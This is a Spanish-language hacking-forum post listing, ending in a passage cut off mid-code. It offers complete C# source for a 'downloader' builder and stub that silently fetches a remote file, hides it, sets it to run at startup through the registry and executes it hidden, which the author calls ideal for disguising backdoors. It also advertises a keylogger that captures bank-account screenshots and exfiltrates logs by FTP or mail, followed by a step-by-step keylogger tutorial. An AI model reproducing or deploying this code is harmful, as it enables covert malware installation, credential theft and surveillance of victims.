Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#91
.NET (C#, VB.NET, ASP) / [C#] DH Downloader 1.0
19 Septiembre 2014, 21:11 PM
Una traduccion de mi DH Downloader a C# con las siguiente opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
  • En el generador se puede cambiar la extension del archivo bajado , ideal para camuflar backdoors en un servidor que no permite ejecutables.

    Una imagen :



    Los codigos :

    El generador.

    Código (csharp) [Seleccionar]

    // DH Downloader 1.0
    // (C) Doddy Hackman 2014
    //
    // Credits :
    //
    // Based on : http://www.csharp-examples.net/download-files/
    //
    //

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;

    using System.Net;
    using System.IO;
    using Microsoft.Win32;
    using System.Diagnostics;

    using System.Reflection;

    namespace DH_Downloader
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
            }

            string ruta_final_global = "";

            // Functions

            public string hexencode(string texto)
            {
                string resultado = "";

                byte[] enc = Encoding.Default.GetBytes(texto);
                resultado = BitConverter.ToString(enc);
                resultado = resultado.Replace("-", "");
                return "0x" + resultado;
            }

            public string hexdecode(string texto)
            {

                // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
                // Thanks to emregulcan

                string valor = texto.Replace("0x", "");
                string retorno = "";

                while (valor.Length > 0)
                {
                    retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
                    valor = valor.Substring(2, valor.Length - 2);
                }

                return retorno.ToString();

            }

            public void cmd_normal(string command)
            {
                try
                {
                    System.Diagnostics.Process.Start("cmd", "/c " + command);
                }
                catch
                {
                    //
                }
            }

            public void cmd_hide(string command)
            {
                try
                {
                    ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
                    cmd_now.RedirectStandardOutput = false;
                    cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
                    cmd_now.UseShellExecute = true;
                    Process.Start(cmd_now);
                }
                catch
                {
                    //
                }
            }

            public void extraer_recurso(string name, string save)
            {

                // Based on : http://www.c-sharpcorner.com/uploadfile/40e97e/saving-an-embedded-file-in-C-Sharp/
                // Thanks to Jean Paul

                try
                {
                    Stream bajando_recurso = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
                    FileStream yacasi = new FileStream(save, FileMode.CreateNew);
                    for (int count = 0; count < bajando_recurso.Length; count++)
                    {
                        byte down = Convert.ToByte(bajando_recurso.ReadByte());
                        yacasi.WriteByte(down);
                    }
                    yacasi.Close();
                }
                catch
                {
                    MessageBox.Show("Error unpacking resource");
                }

            }

            //

            private void mephobiaButton1_Click(object sender, EventArgs e)
            {
                Application.Exit();
            }


            private void mephobiaButton2_Click(object sender, EventArgs e)
            {

                string url = mephobiaTextBox1.Text;
                string directorio_final = "";
                string nombre_final = "";
                string ruta_final = "";

                string directorio_dondeestamos = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);

                if (mephobiaCheckBox1.Checked)
                {
                    nombre_final = mephobiaTextBox2.Text;
                }
                else
                {
                    nombre_final = Path.GetFileName(url);
                }

                if (mephobiaCheckBox2.Checked)
                {
                    directorio_final = mephobiaTextBox3.Text;
                }
                else
                {
                    directorio_final = directorio_dondeestamos;
                }

                ruta_final = directorio_final + "/" + nombre_final;
                ruta_final_global = ruta_final;
               
                //MessageBox.Show(directorio_final);
                //MessageBox.Show(nombre_final);
                //MessageBox.Show(ruta_final);

                Directory.SetCurrentDirectory(directorio_final);

                if (File.Exists(ruta_final))
                {
                    File.Delete(ruta_final);
                }

                toolStripStatusLabel1.Text = "[+] Downloading ...";
                this.Refresh();

                try
                {
                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    nave.DownloadFileCompleted += new AsyncCompletedEventHandler(finished);
                    nave.DownloadProgressChanged += new DownloadProgressChangedEventHandler(ahi_vamos);
                    nave.DownloadFileAsync(new Uri(url), nombre_final);
                }

                catch
                {
                    //
                }
               

                if (mephobiaCheckBox3.Checked)
                {
                    if (File.Exists(ruta_final))
                    {
                        try
                        {
                            File.SetAttributes(ruta_final, FileAttributes.Hidden);
                        }
                        catch
                        {
                            //
                        }
                    }
                }

                if (mephobiaCheckBox4.Checked)
                {
                    if (File.Exists(ruta_final))
                    {
                        try
                        {
                            RegistryKey loadnow = Registry.LocalMachine;
                            loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                            loadnow.SetValue("uberkz", ruta_final, RegistryValueKind.String);
                            loadnow.Close();
                        }
                        catch
                        {
                            //
                        }
                    }
                }

                if (mephobiaCheckBox5.Checked)
                {
                    if (mephobiaRadiobutton1.Checked)
                    {
                        cmd_normal("\"" + ruta_final + "\"");
                    }
                    if (mephobiaRadiobutton2.Checked)
                    {
                        cmd_hide("\"" + ruta_final + "\"");
                    }

                }

            }

            private void ahi_vamos(object sender, DownloadProgressChangedEventArgs e)
            {
                toolStripProgressBar1.Value = e.ProgressPercentage;
            }

            private void finished(object sender, AsyncCompletedEventArgs e)
            {

                long tam = new System.IO.FileInfo(ruta_final_global).Length;

                if (File.Exists(ruta_final_global) && tam!=0 )
                {
                    toolStripStatusLabel1.Text = "[+] Done";
                    this.Refresh();
                    MessageBox.Show("Downloaded");
                }
                else
                {
                    toolStripStatusLabel1.Text = "[-] Error";
                    this.Refresh();
                    MessageBox.Show("Failed download");
                }
                toolStripProgressBar1.Value = 0;
            }

            private void Form1_Load(object sender, EventArgs e)
            {
                toolStripProgressBar1.Value = 0;
            }

            private void mephobiaButton3_Click(object sender, EventArgs e)
            {

                string linea_generada = "";

                string url = mephobiaTextBox4.Text;
                string opcion_change_name = "";
                string text_change_name = mephobiaTextBox5.Text;
                string opcion_carga_normal = "";
                string opcion_carga_hide = "";
                string ruta_donde_bajar = "";
                string opcion_ocultar_archivo = "";
                string opcion_startup = "";

                if (mephobiaCheckBox7.Checked)
                {
                    opcion_change_name = "1";
                }
                else
                {
                    opcion_change_name = "0";
                }

                if (mephobiaRadiobutton3.Checked)
                {
                    opcion_carga_normal = "1";
                }
                else
                {
                    opcion_carga_normal = "0";
                }

                if (mephobiaRadiobutton4.Checked)
                {
                    opcion_carga_hide = "1";
                }
                else
                {
                    opcion_carga_hide = "0";
                }

                if (mephobiaComboBox1.SelectedItem != null)
                {
                    ruta_donde_bajar = mephobiaComboBox1.SelectedItem.ToString();
                }
                else
                {
                    ruta_donde_bajar = "Fuck You Bitch";
                }

                if (mephobiaCheckBox6.Checked)
                {
                    opcion_ocultar_archivo = "1";
                }
                else
                {
                    opcion_ocultar_archivo = "0";
                }

                if (mephobiaCheckBox8.Checked)
                {
                    opcion_startup = "1";
                }
                else
                {
                    opcion_startup = "0";
                }

                extraer_recurso("DH_Downloader.Resources.stub.exe", "stub.exe");

                string check_stub = AppDomain.CurrentDomain.BaseDirectory + "/stub.exe";
                string work_on_stub = AppDomain.CurrentDomain.BaseDirectory + "/done.exe";

                if (File.Exists(check_stub))
                {

                    if (File.Exists(work_on_stub))
                    {
                        System.IO.File.Delete(work_on_stub);
                    }

                    System.IO.File.Copy(check_stub, work_on_stub);

                    linea_generada = "-url-" + url + "-url-" + "-opcion_change_name-" + opcion_change_name + "-opcion_change_name-" +
                    "-text_change_name-" + text_change_name + "-text_change_name-" + "-opcion_carga_normal-" +
                    opcion_carga_normal + "-opcion_carga_normal-" + "-opcion_carga_hide-" + opcion_carga_hide +
                    "-opcion_carga_hide-" + "-ruta_donde_bajar-" + ruta_donde_bajar + "-ruta_donde_bajar-" +
                    "-opcion_ocultar_archivo-" + opcion_ocultar_archivo + "-opcion_ocultar_archivo-"+"-opcion_startup-"+
                    opcion_startup+"-opcion_startup-";

                    string generado = hexencode(linea_generada);
                    string linea_final = "-63686175-" + generado + "-63686175-";

                    FileStream abriendo = new FileStream(work_on_stub, FileMode.Append);
                    BinaryWriter seteando = new BinaryWriter(abriendo);
                    seteando.Write(linea_final);
                    seteando.Flush();
                    seteando.Close();
                    abriendo.Close();

                    //MessageBox.Show(generado);
                    //MessageBox.Show(hexdecode(generado));

                    try
                    {
                        System.IO.File.Delete(check_stub);
                    }
                    catch
                    {
                        //
                    }

                    MessageBox.Show("Tiny downloader Generated");

                }
                else
                {
                    MessageBox.Show("Stub not found");
                }

            }
        }
    }

    // The End ?


    El Stub.

    Código (csharp) [Seleccionar]

    // DH Downloader 1.0
    // (C) Doddy Hackman 2014
    // Thanks to : http://weblogs.asp.net/jhallal/hide-the-console-window-in-quot-c-console-application-quot

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Diagnostics;
    using System.Net;
    using System.IO;
    using Microsoft.Win32;

    namespace stub
    {

        class Program
        {

            // Functions

            static public void cmd_normal(string command)
            {
                try
                {
                    System.Diagnostics.Process.Start("cmd", "/c " + command);
                }
                catch
                {
                    //
                }
            }

            static public void cmd_hide(string command)
            {
                try
                {
                    ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
                    cmd_now.RedirectStandardOutput = false;
                    cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
                    cmd_now.UseShellExecute = true;
                    Process.Start(cmd_now);
                }
                catch
                {
                    //
                }
            }

            static public void add_startup(string path)
            {
                try
                {
                    RegistryKey loadnow = Registry.LocalMachine;
                    loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    loadnow.SetValue("uberkzz", path, RegistryValueKind.String);
                    loadnow.Close();
                }
                catch
                {
                    //
                }
            }

            //

            static void Main(string[] args)
            {

                load_config config = new load_config();
                config.load_data();
                string check_online = config.downloader_online;
                if (check_online == "1")
                {
                    Console.WriteLine("[+] Downloader Online");

                    string url = config.url;
                    string opcion_change_name = config.opcion_change_name;
                    string text_change_name = config.text_change_name;
                    string opcion_carga_normal = config.opcion_carga_normal;
                    string opcion_carga_hide = config.opcion_carga_hide;
                    string ruta_donde_bajar = config.ruta_donde_bajar;
                    string opcion_ocultar_archivo = config.opcion_ocultar_archivo;
                    string opcion_startup = config.opcion_startup;

                    string nombre_final = "";
                    string directorio_final = "";
                    string ruta_final = "";

                    //string output = config.get_data();
                    //Console.WriteLine(output);

                    if (opcion_change_name == "1")
                    {
                        nombre_final = text_change_name;
                    }
                    else
                    {
                        nombre_final = Path.GetFileName(url);
                    }

                    if (ruta_donde_bajar != "")
                    {
                        directorio_final = Environment.GetEnvironmentVariable(ruta_donde_bajar);
                    }
                    else
                    {
                        directorio_final = Environment.GetEnvironmentVariable("USERPROFILE");
                    }

                    ruta_final = directorio_final + "/" + nombre_final;

                    Console.WriteLine("[+] URL : "+url+"\n");
                    Console.WriteLine("[+] Filename : "+ruta_final+"\n");

                    try
                    {
                        WebClient nave = new WebClient();
                        nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                        nave.DownloadFile(url, ruta_final);
                    }
                    catch
                    {
                        //
                    }

                    if (opcion_ocultar_archivo == "1")
                    {
                        Console.WriteLine("[+] Hide : "+ruta_final+"\n");
                        try
                        {
                            File.SetAttributes(ruta_final, FileAttributes.Hidden);
                        }
                        catch
                        {
                            //
                        }
                    }

                    if (opcion_startup == "1")
                    {
                        Console.WriteLine("[+] Add Startup : "+ruta_final+"\n");
                        add_startup(ruta_final);
                    }

                    if (opcion_carga_normal == "1")
                    {
                        Console.WriteLine("[+] Load normal : "+ruta_final+"\n");
                        cmd_normal(ruta_final);
                    }

                    if (opcion_carga_hide == "1")
                    {
                        Console.WriteLine("[+] Load hide : "+ruta_final+"\n");
                        cmd_hide(ruta_final);
                    }
                   
                    //Console.ReadKey();

                }
                else
                {
                    Console.WriteLine("[-] Downloader OffLine");
                    //Console.ReadKey();
                }
               
            }
        }
    }

    // The End ?


    Clase load_config.cs del Stub.

    Código (csharp) [Seleccionar]

    // DH Downloader 1.0
    // (C) Doddy Hackman 2014

    using System;
    using System.Collections.Generic;
    using System.Text;

    using System.IO;
    using System.Text.RegularExpressions;

    namespace stub
    {
        class load_config
        {
            string downloader_online_config = "";
            string url_config = "";
            string opcion_change_name_config = "";
            string text_change_name_config = "";
            string opcion_carga_normal_config = "";
            string opcion_carga_hide_config = "";
            string ruta_donde_bajar_config = "";
            string opcion_ocultar_archivo_config = "";
            string opcion_startup_config = "";

            public string downloader_online
            {
                set { downloader_online_config = value; }
                get { return downloader_online_config; }
            }

            public string url
            {
                set { url_config = value; }
                get { return url_config; }
            }

            public string opcion_change_name
            {
                set { opcion_change_name_config = value; }
                get { return opcion_change_name_config; }
            }

            public string text_change_name
            {
                set { text_change_name_config = value; }
                get { return text_change_name_config; }
            }

            public string opcion_carga_normal
            {
                set { opcion_carga_normal_config = value; }
                get { return opcion_carga_normal_config; }
            }

            public string opcion_carga_hide
            {
                set { opcion_carga_hide_config = value; }
                get { return opcion_carga_hide_config; }
            }

            public string ruta_donde_bajar
            {
                set { ruta_donde_bajar_config = value; }
                get { return ruta_donde_bajar_config; }
            }

            public string opcion_ocultar_archivo
            {
                set { opcion_ocultar_archivo_config = value; }
                get { return opcion_ocultar_archivo_config; }
            }

            public string opcion_startup
            {
                set { opcion_startup_config = value; }
                get { return opcion_startup_config; }
            }

            public string hexencode(string texto)
            {
                string resultado = "";

                byte[] enc = Encoding.Default.GetBytes(texto);
                resultado = BitConverter.ToString(enc);
                resultado = resultado.Replace("-", "");
                return "0x" + resultado;
            }

            public string hexdecode(string texto)
            {

                // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
                // Thanks to emregulcan

                string valor = texto.Replace("0x", "");
                string retorno = "";

                while (valor.Length > 0)
                {
                    retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
                    valor = valor.Substring(2, valor.Length - 2);
                }

                return retorno.ToString();
            }

            public load_config()
            {
                string downloader_online_config = "";
                string url_config = "";
                string opcion_change_name_config = "";
                string text_change_name_config = "";
                string opcion_carga_normal_config = "";
                string opcion_carga_hide_config = "";
                string ruta_donde_bajar_config = "";
                string opcion_ocultar_archivo_config = "";
                string opcion_startup_config = "";
            }

            public void load_data()
            {
                StreamReader viendo = new StreamReader(System.Reflection.Assembly.GetEntryAssembly().Location);
                string contenido = viendo.ReadToEnd();
                Match regex = Regex.Match(contenido, "-63686175-(.*?)-63686175-", RegexOptions.IgnoreCase);

                if (regex.Success)
                {
                    string comandos = regex.Groups[1].Value;
                    if (comandos != "" || comandos != " ")
                    {
                        downloader_online_config = "1";
                        string leyendo = hexdecode(comandos);

                        regex = Regex.Match(leyendo, "-url-(.*)-url-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            url_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_change_name-(.*)-opcion_change_name-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_change_name_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-text_change_name-(.*)-text_change_name-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            text_change_name_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_carga_normal-(.*)-opcion_carga_normal-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_carga_normal_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_carga_hide-(.*)-opcion_carga_hide-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_carga_hide_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-ruta_donde_bajar-(.*)-ruta_donde_bajar-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            ruta_donde_bajar_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_ocultar_archivo-(.*)-opcion_ocultar_archivo-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_ocultar_archivo_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_startup-(.*)-opcion_startup-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_startup_config = regex.Groups[1].Value;
                        }

                    }
                    else
                    {
                        downloader_online_config = "0";
                    }
                }

            }

            public string get_data()
            {
                string lista = "[+] Downloader Online : " + downloader_online_config + "\n" +
                "[+] URL : " + url_config +"\n" +
                "[+] Option Change Name : " + opcion_change_name_config + "\n" +
                "[+] Change Name to : " + text_change_name_config + "\n" +
                "[+] Option normal load : " + opcion_carga_normal_config + "\n" +
                "[+] Option hide load : " + opcion_carga_hide_config + "\n" +
                "[+] Path : " + ruta_donde_bajar_config + "\n" +
                "[+] Option hide file : " + opcion_ocultar_archivo_config + "\n" +
                "[+] Option startup : " + opcion_startup_config;

                //

                return lista;
            }
       

        }
    }

    // The End ?


    Un video con ejemplo de uso

    [youtube=640,360]http://www.youtube.com/watch?v=-cKADPnxPoc[/youtube]

    Si lo quieren bajar lo pueden hacer de aca.
#92
.NET (C#, VB.NET, ASP) / [C#] DH KeyCagator 1.5
12 Septiembre 2014, 18:01 PM
Version de mi keylogger KeyCagator en C# , originalmente escrito en Delphi y Perl , basicamente es solo una traduccion pero tambien le agregue unas opciones nuevas.

Opciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

    Mejoras :

  • El keylogger oculto en la computadora de la victima tiene una ventana oculta con password para manejar o cambiar las opciones del keylogger aclaradas en el stub.
  • A peticiones de varios usuarios le agregue la opcion de poder capturar un screenshot cuando se detecte el click del mouse en una ventana especifica , esto es usado mucho para las cuentas de banco y no hay muchos keyloggers en ningun lenguaje que te regalen el codigo de esta forma.
  • Posibilidad de enviar los logs comodamente a tu cuenta de correo.
  • El stub pesa mucho menos que la version en Delphi

    Unas imagenes :







    Un video con ejemplo de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=HXfQNDXMZL8[/youtube]

    Si lo quieren bajar lo pueden hacer de aca con codigo incluido.
#93
[Titulo] : Creacion de un Keylogger
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Capturar Teclas
0x03 : Capturar el nombre de las ventanas activas
0x04 : Tomar un ScreenShot de la pantalla
0x05 : Subir logs a un servidor FTP
0x06 : Mandar logs por Mail
0x07 : Probando el programa

-- =================--------

0x01 : Introduccion

Hola , hoy les traigo un manual sobre como hacer un keylogger en C# , en este manual les voy a enseñar o por lo menos lo voy a intentar sobre como capturar las teclas , nombres de las ventanas , tomar un screenshot de la pantalla para despues mandar los logs por Mail (usando Gmail) o subirlos a un servidor FTP.

Empecemos ...

Para empezar el keyloger tenemos que crear primero un nuevo proyecto de la siguiente forma :

Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar

Como en la siguiente imagen :



Una vez creado el proyecto vamos hacer el formulario completo para hacerlo de una para esto tienen que usar :

Los primeros 6 botones con el texto del boton :

Boton 1 - "Capture Keys ON"
Boton 2 - "Capture Keys OFF"

Boton 3 - "Capture Windows ON"
Boton 4 - "Capture Windows OFF"

Boton 5 - "Capture Screen ON"
Boton 6 - "Capture Screen OFF"

Ahora pongan 3 labels con el texto de "OFF" abajo de cada funcion : keys,windows,screen.

Para terminar pongan dos botones finales con el siguiente texto :

Boton 7 - "Send logs for FTP"
Boton 8 - "Send logs for Mail"

Quedando algo asi :



Si quieren pueden ponerle como texto "Keylogger in C#" al formulario como en la imagen pero no es importante.

0x02 : Capturar Teclas

Para poder capturar teclas necesitan poner este "using" al inicio del codigo para poder usar GetAsyncKeyState() :

Código (csharp) [Seleccionar]

using System.Runtime.InteropServices;


Despues lo mas importante es agregar estas lineas despues de los "using" :

Código (csharp) [Seleccionar]

        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(Keys teclas);
        [DllImport("user32.dll")]
        private static extern short GetAsyncKeyState(Int32 teclas);
        [DllImport("user32.dll")]
        private static extern short GetKeyState(Keys teclas);
        [DllImport("user32.dll")]
        private static extern short GetKeyState(Int32 teclas);


Para poder escribir los logs en un html necesitan usar mi funcion traducida originalmente desde perl a python,ruby,delphi y finalmente C# :

Código (csharp) [Seleccionar]

        public void savefile(string file, string texto)
        {
            //Function savefile() Coded By Doddy Hackman
            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true); // Abrimos para escribir en el archivo marcado
                save.Write(texto); // Escribimos en el archivo marcado con lo que hay en la variable texto
                save.Close(); // Cerramos el archivo
            }
            catch
            {
                //
            }
        }


Ahora tenemos que agregar el primer timer al formulario solo van al cuadro de herramientas y lo arrastran al formulario.
Como va a ser el primero timer tendra el name de timer1 , entonces hacemos doble click timer1 para agregar el siguiente codigo.

Código (csharp) [Seleccionar]

        private void timer1_Tick(object sender, EventArgs e)
        {

            // Keylogger Based on http://www.blackstuff.net/f44/c-keylogger-4848/
            // Thanks to Carlos Raposo

            for (int num = 0; num <= 255; num++) // Usamos el int num para recorrer los numeros desde el 0 al 255
            {
                int numcontrol = GetAsyncKeyState(num);  // Usamos GetAsyncKeyState para verificar si una tecla fue presionada usando el int numcontrol 
                if (numcontrol == -32767) // Verificamos si numcontrol fue realmente presionado controlando que numcontrol sea -32767 
                {
                    if (num >= 65 && num <= 122) // Si el int num esta entre 65 y 122 ...
                    {
                        if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                        {
                            // Si se detecta Shift y CapsLock ...
                            string letra = Convert.ToChar(num+32).ToString(); // Le sumamos 32 a num y la convertimos a Char para formar la letra minuscula
                            savefile("logs.html", letra); // Agregamos la letra al archivo de texto
                        }
                        else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
                        {
                            // Si se detecta Shift o CapsLock
                            string letra = Convert.ToChar(num).ToString(); // Formamos la letra convirtiendo num a Char
                            savefile("logs.html", letra); // Agregamos la letra al archivo de texto
                        }
                        else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                        {
                            // Si se detecta CapsLock ...
                            string letra = Convert.ToChar(num).ToString(); // Formamos la letra convirtiendo num a Char
                            savefile("logs.html", letra); // Agregamos la letra al archivo de texto

                        }
                        else
                        {
                            // Si no se detecta ni Shift ni CapsLock ...
                            string letra = Convert.ToChar(num j+ 32).ToString(); // Formamos la letra minuscula sumandole 32 a num y convirtiendo num a Char
                            savefile("logs.html", letra); // Agregamos la letra al archivo de texto
                        }
                    }

                }
            }

        }


Se deberia ver algo asi :



Como ven en este codigo explico como detectar mayusculas y minisculas , ya sea por Shift o CapsLock este codigo las detecta igual y guardas las teclas un log html usando la funcion savefile().

Ahora le hacemos doble click al primer boton , es el que activa la captura de las teclas "Capture Keys ON" , para poder poner el siguiente codigo :

Código (csharp) [Seleccionar]

        private void button1_Click(object sender, EventArgs e)
        {
            timer1.Enabled = true; // Activamos el timer1
            label1.Text = "ON"; // Ponemos "ON" como texto en label1
        }


Con este codigo vamos a poder activar la captura de las teclas pero para poder desactivar el timer y que no siga capturando tenemos que hacer doble click en el segundo boton , el que dice "Capture Keys OFF" para poner este codigo :

Código (csharp) [Seleccionar]

        private void button2_Click(object sender, EventArgs e)
        {
            timer1.Enabled = false; // Desactivamos el timer1
            label1.Text = "OFF";// Ponemos "OFF" como texto en label2
        }


Con eso ya estaria la captura de teclas mayusculas y minusculas.

0x03 : Capturar el nombre de las ventanas activas

Para poder capturar el nombre de las ventanas activas tenemos que declarar las siguiente variables globales al inicio del codigo :

Código (csharp) [Seleccionar]

        string nombre1 = ""; // Declaramos la variable string nombre1 como vacia ("")
        string nombre2 = ""; // Declaramos  la variable string nombre2 como vacia ("")


Estas lineas son necesarias para guardar los nombres de las ventanas y comparar para saber cual es la actual , para poder capturar el nombres de las ventanas activas tambien tenemos que agregar estas lineas al inicio del codigo :

Código (csharp) [Seleccionar]

        [DllImport("user32.dll")]
        static extern IntPtr GetForegroundWindow();

        [DllImport("user32.dll")]
        static extern int GetWindowText(IntPtr ventana, StringBuilder cadena, int cantidad);



Ahora tenemos que agregar el segundo timer al formulario , para hacerle doble click y agregar el siguiente  codigo :

Código (csharp) [Seleccionar]

        private void timer2_Tick(object sender, EventArgs e)
        {
            const int limite = 256; // Declaramos un entero constante con valor de 256
            StringBuilder buffer = new StringBuilder(limite); // Declaramos un StringBuilder en buffer usando el int limite
            IntPtr manager = GetForegroundWindow(); // Declaramos manager como IntPtr usando GetForegroundWindow para poder
                                                    // obtener el nombre de la ventana actual

            if (GetWindowText(manager, buffer, limite) > 0) // Obtenemos el nombre de la ventana y lo almacenamos en buffer
            {
                nombre1 = buffer.ToString(); // Almacenamos el nombre de la ventana en nombre1

                if (nombre1 != nombre2) // Si nombre1 y nombre2 no son iguales ...
                {
                    nombre2 = nombre1; // nombre2 tendra el valor de nombre1
                    savefile("logs.html", "<br>[" + nombre2 + "]<br>"); // Agregamos el nombre de la ventana en el archivo de texto
                }
            }

        }


Como en la siguiente imagen :



Ahora hacemos doble click en el tercer boton que se llama "Capture Windows ON" para poner el siguiente codigo :

Código (csharp) [Seleccionar]

        private void button3_Click(object sender, EventArgs e)
        {
            timer2.Enabled = true; // Activamos el timer2
            label2.Text = "ON"; //Ponemos "ON" como texto en label2
        }


Despues de eso hacemos doble click en el cuarto boton que se llama "Capture Windows OFF" para poner el siguiente codigo :

Código (csharp) [Seleccionar]

        private void button4_Click(object sender, EventArgs e)
        {
            timer2.Enabled = false; // Desactivamos el timer2
            label2.Text = "OFF"; // Ponemos "OFF" como texto en label2
        }


Con esto terminariamos la funcion de capturar las ventanas activas.

0x04 : Tomar un ScreenShot de la pantalla

Para esta funcion lo primero que hay que hacer es agregar esta linea al inicio del codigo :

Código (csharp) [Seleccionar]

using System.Drawing.Imaging;


Bien ahora para que el programa capture la pantalla cada cierto tiempo tenemos que agregar el tercer timer al formulario para ponerle como tiempo o Interval un valor de "10000" que serian 10 segundos porque el interval exige que el tiempo sea expresado en milisegundos.
Despues de eso agregan esta funcion al inicio del codigo llamada screeshot() :

Código (csharp) [Seleccionar]

        public void screenshot(string nombre)
        {
            try
            {
                // ScreenShot Based on : http://www.dotnetjalps.com/2007/06/how-to-take-screenshot-in-c.html
                // Thanks to Jalpesh vadgama

                int wid = Screen.GetBounds(new Point(0, 0)).Width; // Declaramos el int wid para calcular el tamaño de la pantalla
                int he = Screen.GetBounds(new Point(0, 0)).Height; // Declaramos el int he para calcular el tamaño de la pantalla
                Bitmap now = new Bitmap(wid, he); // Declaramos now como Bitmap con los tamaños de la pantalla
                Graphics grafico = Graphics.FromImage((Image)now); // Declaramos grafico como Graphics usando el declarado now
                grafico.CopyFromScreen(0, 0, 0, 0, new Size(wid, he)); // Copiamos el screenshot con los tamaños de la pantalla
                // usando "grafico"
                now.Save(nombre, ImageFormat.Jpeg); // Guardamos el screenshot con el nombre establecido en la funcion
            }
            catch
            {
                //
            }

        }


Para despues hacer doble click en el timer3 y poner el siguiente codigo :

Código (csharp) [Seleccionar]

        private void timer3_Tick(object sender, EventArgs e)
        {
            string fecha = DateTime.Now.ToString("h:mm:ss tt"); // Obtemos la hora actual usando DateTime y la guardamos en la
                                                                // variable string con el nombre de fecha
            string nombrefinal = fecha.Trim() + ".jpg"; // Limpiamos la variable fecha de los espacios en blanco y le agregamos
                                                        // ".jpg" al final para terminar de generar el nombre de la imagen
            string final = nombrefinal.Replace(":", "_"); // Reemplazamos los ":" de la hora por "_" para que no haya problemas
                                                          // al crear la imagen
            screenshot(final); // Usamos la funcion screenshot() para mandar el nombre de la imagen que tiene la variable "final"
                               // y asi realizar el screenshot

        }


Viendose asi en el codigo :



Ahora la parte que me estaba olvidando hagan doble click en el quinto boton , el que tiene como texto "Capture Screen ON" y
pongan el siguiente codigo :

Código (csharp) [Seleccionar]

            timer3.Enabled = true; // Activamos el timer3
            label3.Text = "ON";  // Ponemos "ON" como texto en label3


Ahora hagan doble click en el sexto boton , el que tiene como texto "Capture Screen OFF" y pongan el siguiente codigo :

Código (csharp) [Seleccionar]

            timer3.Enabled = false; // Desactivamos el timer3
            label3.Text = "OFF";  // Ponemos "OFF" como texto en label3


Con esto ya estaria terminada la parte de la captura de pantalla cada cierto tiempo , en este caso son cada 10 segundos.

0x05 : Subir logs a un servidor FTP

Bien , ahora para poder enviar logs por FTP necesitamos agregar estas lineas al inicio del codigo :

Código (csharp) [Seleccionar]

using System.Net;
using System.IO;


Despues de uso tambien tenemos que agregar esta funcion al inicio del codigo que sirve para subir archivos a un servidor FTP marcado :

Código (csharp) [Seleccionar]

        public void FTP_Upload(string servidor, string usuario, string password, string archivo)
        {
            // Based on : http://madskristensen.net/post/simple-ftp-file-upload-in-c-20

            try
            {
                WebClient ftp = new System.Net.WebClient(); // Iniciamos una instancia WebClient con "ftp"
